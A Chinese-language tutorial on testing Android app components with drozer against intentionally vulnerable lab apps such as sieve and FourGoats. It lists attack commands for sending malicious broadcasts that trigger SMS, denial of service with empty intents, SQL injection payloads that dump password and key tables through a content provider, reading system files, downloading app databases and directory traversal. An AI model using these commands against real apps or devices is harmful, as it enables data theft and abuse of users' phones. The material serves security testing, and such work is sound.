0x00 常用命令方法和流程
- 手机打开drozer agent,开启服务
- 端口转发
adb forward tcp:31415 tcp:31415
- 在安装目录开启drozer
drozer console connect
- 获得包名
run app.package.list -f 包名
- 查找攻击面
run app.package.attacksurface 包名
- 查看activity组件
run app.activity.info -a 包名
- 调用activity组件
run app.activity.start --component 包名 组件名
- 测试activity劫持
- 查看Broadcast组件
run app.broadcast.info -a 包名
- 打开手机日志
adb logcat
- 发送恶意广播
run app.broadcast.send --component 包名 广播名 --extra string phoneNumber 222
,在手机日志查看 - 拒绝服务,空action
run app.broadcast.send --component 包名 广播名
,空extrasrun app.broadcast.send --action 广播名
- 查看Services组件
run app.service.info -a 包名
- 调用服务组件
run app.service.start --action 服务名 --component 包名 服务名
- 查看Content组件
run app.provider.info -a 包名
- 信息泄露,访问所有URL
run scanner.provider.finduris -a 包名
,查询URL的数据run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
- SQL注入(还是看详情吧)
- 读取系统文件
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
- 下载系统文件
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db
- 目录遍历
run scanner.provider.traversal -a 包名
0x01 四大组件
Activity(界面):通常展现为一个可视化的用户界面。
Service(服务):无用户界面,但它会在后台一直执行。
Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。
Content provider(内容提供者):主要用于在不同应用程序之间实现数据共享的功能。
0x02 准备环境
1.drozer下载地址:
https://pan.baidu.com/s/1hGj9BDex4JZNr7u74Dt4jg
这是整合了Python27的,解压缩直接安装即可,agent.apk需要安装到模拟器或者手机里面。
被用来测试的APK(里面各种安卓漏洞)下载地址:
链接: https://pan.baidu.com/s/1oE3s04tXmIEWMW_9UbyLAQ
提取码:zjm1
2.其他环境
(1)adb下载地址https://pan.baidu.com/s/1b-gqxqsYdcTdInILa8bS4A(需要配置环境变量将安装目录放到PATH里面)
(2)JDK下载地址https://www.oracle.com/technetwork/cn/java/javase/downloads/jdk8-downloads-2133151-zhs.html(同上)
(3)推荐一下吾爱破解的爱盘,里面的测试工具很多,找不到可以去里面搜索,感谢各位大表哥。https://down.52pojie.cn
0x03 准备测试
1.手机或者模拟器端
安装drozer Agent,打开开启服务,开启调试模式(模拟器不需要开启)
2.电脑端
(1)打开cmd,输入adb devices 查看连接的设备
(2)进行端口转发
adb forward tcp:31415 tcp:31415
(3)到drozer安装目录下面,运行
drozer console connect
如果出现Could not find Java
1).可能Java环境变量没有配好,在cmd输入Java时出现,说明没问题;
2).在drozer目录下建立名为 .drozer_config 的文件,添加如下内容
[executables]
java=C:\Program Files\Java\jdk1.8.0_151\bin\java.exe
javac=C:\Program Files\Java\jdk1.8.0_151\bin\javac.exe
Java的安装目录需要自行更改,安装位置一般如上,可自行查找,可能版本号略有不同;可能无法创建文件,可以先创建1.drozer_config,利用命令行
rename 1.drozer_config .drozer_config
0x04 组件测试
1.获得包名(package_name是测试的包名)
run app.package.list -f package_name
比如你知道包的一部分,就可以run app.package.list -f low(-f后面的package可以只是包名的一部分)
run app.package.list
也可以直接查看全部应用从里面查找
再不行,可以直接用Android Killer获得的,跳过了这一步
2.查找攻击面
run app.package.attacksurface package_name
发现有 6个 activities,12 个broadcast receivers ,0个 content providers,5个 services exported。
3.activity 组件测试
(1)查看activity组件信息
run app.activity.info -a package_name
(2)调用暴露的activity组件
run app.activity.start --component package_name com.lp.patchActivity
patchActivity会启动主界面;
一般activity组件只会暴露一个程序启动界面,在暴露其他的就属于组件暴露,有安全隐患。
(3)Activity劫持
工具不方便提供,请自行百度
1.获取要劫持的应用;
2.劫持服务开始;
3.将程序放到后台,打开刚才选择要劫持的应用;
4.出现下图界面,说明劫持成功。
4.Broadcast Receivers 组件测试
(1)查看Broadcast组件信息
run app.broadcast.info -a package_name
(2)调用组件,测试发送恶意广播包
需要dex2jar反编译,利用jd-gui查看源代码,在源代码中查看广播名,一般只查看广播名的后半段,例如图中的PackageChangeReceiver(也可以直接用Android Killer查看)
举例1
FourGoats.APP
查看AndroidManifest.xml 文件,receiver 的 exported 设置未进行设置,说明可以发送恶意广播。
再查看源代码,可以看到源代码参数phoneNumber和massage,会发送Your text message has been sent!
发送恶意代码
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1111 --extra string message aaaa
注意,这里的--action后面的不是广播名,而是查看AndroidManifest.xml 文件得到的。
也可以用下面这样的语句,这里的广播名,就是查看广播信息后得到的。
run app.broadcast.send --component 包名 广播名 --extra string phoneNumber 222 --extra string message abc
举例2
Vul_BroadcastReceiver.APP
在 在新的cmd 窗口查看手机的 Log 日志
adb logcat
打开Vul_BroadcastReceiver.APP,输入任意值,点击Send,就可以在Log日志里面查看到信息。
查看Java源代码,参数为number
发送恶意广播包,在drozer上运行
run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 66666
说明存在安全隐患。
当然例一也可以用例二中的方法查看
恶意广播代码
run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 1111 --extra string message aaaa
当然例二也可以用例一中的方法查看
查看源代码,代码意思就是向number发送一条短信,短信的内容为“Hi, Your Registration has been confirmed”
测试可以真实手机,可以发送短信的手机,将number设为自己手机号。
run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 17*********
(3)调用组件,拒绝服务攻击
拒绝服务分两种空 actoin 和空 extras
空action
run app.broadcast.send --component 包名 广播名
空extras
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
5.Services组件测试
(1)查看Services组件信息
run app.service.info -a package_name
上面显示服务均为引用外部服务,如果引用外部组件,一般不测试;内部服务一般为包名加服务名。
(2)调用内部服务组件
run app.service.start --action 服务名 --component 包名 服务名
可以先查看服务是干嘛的,了解服务是干嘛的再测试。
6.Content 组件测试(内容提供者)
需要用到的测试app--sives.apk
(1)查看组件信息
run app.provider.info -a 包名
(2)信息泄露利用
获取所有可以访问的URL
run scanner.provider.finduris -a 包名
查询Passwords数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
当然能查询到数据,前提是你通过sieve.app录入数据了
(3)SQL 注入
先进行简单的注入检查
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*"
列出所有的表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
查看表的内容
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
也可以直接进行注入点扫描,查找存在注入的点
run scanner.provider.injection -a com.mwr.example.sieve
列出该app的表名
run scanner.provider.sqltables -a com.mwr.example.sieve
(4)系统文件读取和下载
读取系统文件,有可能会不成功
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
下载系统文件到本地
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db
(5)目录遍历
run scanner.provider.traversal -a com.mwr.example.sieve
总结:
- 当组件为私有组件时,建议设置 exported 的值为 false(exported查找方法,搜索android:exported);
- 当 组件为公有组件时,建议对其进行权限控制。
文章哪里写的不详细,不用想,那里我也不懂
参考链接:
1.Drozer 官方网站工具
2.Drozer 官方使用指南 (中文版)
3.安卓四大组件审计实验(drozer)
4. drozer 工具的安装与使用:之一安装篇
5.Android 开发四大组件概述
6.Android 一一 简述 Android 四大组件
7.Android安全测试框架Drozer(使用篇)
8.drozer模式命令大全
9.Android 中的组件安全漏洞介绍和检测